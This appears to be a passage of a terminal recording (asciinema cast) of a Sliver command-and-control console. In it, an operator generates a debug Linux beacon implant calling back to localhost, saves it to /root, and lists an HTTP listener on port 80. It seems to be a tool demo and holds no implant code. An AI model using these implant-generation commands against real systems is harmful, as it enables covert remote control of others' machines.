[17.04594, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[69D\u001b[9C\u001b[107D\u001b[69C\u001b[?25h"]
|
||||
[18.826391, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[18.830292, "o", "\u001b[6n"]
|
||||
[18.838831, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m1\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[70D\u001b[9C\u001b[107D\u001b[70C\u001b[?25h"]
|
||||
[19.106227, "o", "\u001b[?25l"]
|
||||
[19.108266, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[19.114835, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[19.115864, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[71D\u001b[9C\u001b[107D\u001b[71C\u001b[?25h"]
|
||||
[19.912306, "o", "\u001b[?25l"]
|
||||
[19.918021, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[19.920087, "o", "\u001b[6n"]
|
||||
[19.93003, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[19.931567, "o", "\u001b[1A\u001b[72D\u001b[9C\u001b[107D\u001b[72C\u001b[?25h"]
|
||||
[20.168864, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.171906, "o", "\u001b[6n"]
|
||||
[20.178129, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.178608, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[73D\u001b[9C\u001b[107D\u001b[73C\u001b[?25h"]
|
||||
[20.297124, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.30462, "o", "\u001b[6n"]
|
||||
[20.311177, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[20.313065, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[74D\u001b[9C\u001b[107D\u001b[74C\u001b[?25h"]
|
||||
[20.778135, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.782481, "o", "\u001b[6n"]
|
||||
[20.792233, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.793582, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[75D\u001b[9C\u001b[107D\u001b[75C\u001b[?25h"]
|
||||
[20.875988, "o", "\u001b[?25l\u001b[107D"]
|
||||
[20.880256, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.880407, "o", "\u001b[6n"]
|
||||
[20.886912, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.889501, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[76D\u001b[9C\u001b[107D\u001b[76C\u001b[?25h"]
|
||||
[20.956584, "o", "\u001b[?25l\u001b[107D"]
|
||||
[20.957564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[20.959364, "o", "\u001b[6n"]
|
||||
[20.962509, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[77D"]
|
||||
[20.963891, "o", "\u001b[9C\u001b[107D\u001b[77C\u001b[?25h"]
|
||||
[21.215945, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.218587, "o", "\u001b[6n"]
|
||||
[21.22548, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.226454, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[78D\u001b[9C\u001b[107D\u001b[78C\u001b[?25h"]
|
||||
[21.285365, "o", "\u001b[?25l\u001b[107D"]
|
||||
[21.287194, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.292864, "o", "\u001b[6n"]
|
||||
[21.295846, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.296889, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[79D\u001b[9C\u001b[107D\u001b[79C\u001b[?25h"]
|
||||
[21.368931, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.372292, "o", "\u001b[6n"]
|
||||
[21.376631, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.376984, "o", "\u001b[107D\u001b[1A\u001b[80D\u001b[9C\u001b[107D\u001b[80C\u001b[?25h"]
|
||||
[21.507354, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[21.511066, "o", "\u001b[6n"]
|
||||
[21.515589, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.516174, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[81D\u001b[9C\u001b[107D\u001b[81C\u001b[?25h"]
|
||||
[21.635331, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.645426, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.64696, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[82D\u001b[9C\u001b[107D\u001b[82C\u001b[?25h"]
|
||||
[21.83149, "o", "\u001b[?25l"]
|
||||
[21.840106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[21.847228, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-j \u001b[39m\u001b[22m5 \u001b[1m\u001b[38;05;244m-S \u001b[39m\u001b[22m15 \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m"]
|
||||
[21.850549, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[83D\u001b[9C\u001b[107D\u001b[83C\u001b[?25h"]
|
||||
[22.416182, "o", "\u001b[83D\u001b[9C"]
|
||||
[22.423437, "o", "\u001b[6n"]
|
||||
[22.428419, "o", "\u001b[107D\u001b[83C"]
|
||||
[22.429272, "o", "\u001b[0J\u001b[107D\r\r\n"]
|
||||
[22.43381, "o", "\u001b[0 q"]
|
||||
[22.436511, "o", "\r\n"]
|
||||
[22.472785, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (15s)\r\n"]
|
||||
[22.573603, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.673763, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.774365, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.874902, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.975459, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.077251, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.179308, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.283986, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.38624, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.486039, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.586774, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.68746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.79081, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.891386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.992125, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.093011, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.197402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.297949, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.399009, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.500778, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.601249, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.701469, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.802295, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.903284, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.004388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.107365, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.210375, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.311732, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.412333, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.514097, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.61486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.715961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.816088, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.917192, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.017903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.118753, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.21905, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.31959, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.424407, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.524445, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.625061, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.725914, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.826768, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.927046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[27.028042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[27.132983, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.235962, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.340875, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.441488, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[27.542069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.644268, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.744341, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.847294, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[27.954509, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[28.056587, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[28.157221, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[28.258408, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[28.364494, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[28.462307, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[28.562769, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[28.66304, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[28.76396, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[28.864147, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[28.964714, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[29.065388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[29.165921, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[29.266403, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[29.367502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[29.468424, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[29.569487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[29.670252, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[29.771867, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[29.872652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[29.973324, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[30.074435, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[30.174845, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[30.275851, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[30.377039, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[30.477598, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[30.578062, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[30.678295, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[30.77845, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[30.883305, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[30.987537, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[31.08836, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[31.189425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[31.289913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[31.390842, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[31.491413, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[31.592035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[31.692388, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[31.793231, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[31.894299, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[31.995189, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[32.096939, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[32.197776, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[32.302336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[32.402824, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[32.50487, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[32.605665, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[32.706617, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[32.807432, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[32.908046, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[33.009032, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[33.109915, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[33.210604, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[33.3116, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[33.41245, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[33.516247, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[33.616488, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[33.717409, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[33.817961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[33.918916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[34.018921, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[34.119593, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[34.220874, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[34.323197, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[34.423934, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[34.524936, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[34.629284, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[34.731156, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[34.831911, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[34.93521, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[35.039389, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[35.140101, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[35.240752, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[35.341388, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[35.446188, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[35.547585, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[35.648296, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[35.749446, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[35.849976, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[35.951697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[36.052406, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[36.154746, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[36.25954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[36.361045, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[36.466049, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[36.570787, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[36.675256, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[36.776002, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[36.876802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[36.977448, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[37.058199, "o", "\r\u001b[2K"]
|
||||
[37.059559, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 15s\r\n"]
|
||||
[37.072358, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/CONTINUING_DOWNTOWN\r\n"]
|
||||
[37.072849, "o", "\r\n"]
|
||||
[37.081564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.081771, "o", "\u001b[1 q"]
|
||||
[37.083023, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.084683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[39.785402, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[39.792269, "o", "\u001b[6n"]
|
||||
[39.799813, "o", "j\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[39.801567, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[39.871366, "o", "\u001b[?25l"]
|
||||
[39.87277, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.876524, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[39.962292, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[39.971702, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[39.97248, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[40.076739, "o", "\u001b[?25l"]
|
||||
[40.083932, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.090014, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[40.365397, "o", "\u001b[13D\u001b[9C"]
|
||||
[40.368244, "o", "\u001b[6n"]
|
||||
[40.372542, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[40.400703, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 1 http tcp 80 \r\n\r\n"]
|
||||
[40.412577, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.412736, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.415374, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
|
||||
[40.415811, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[45.467196, "o", "\u001b[9D\u001b[9C\u001b[107D\u001b[0J"]
|
||||
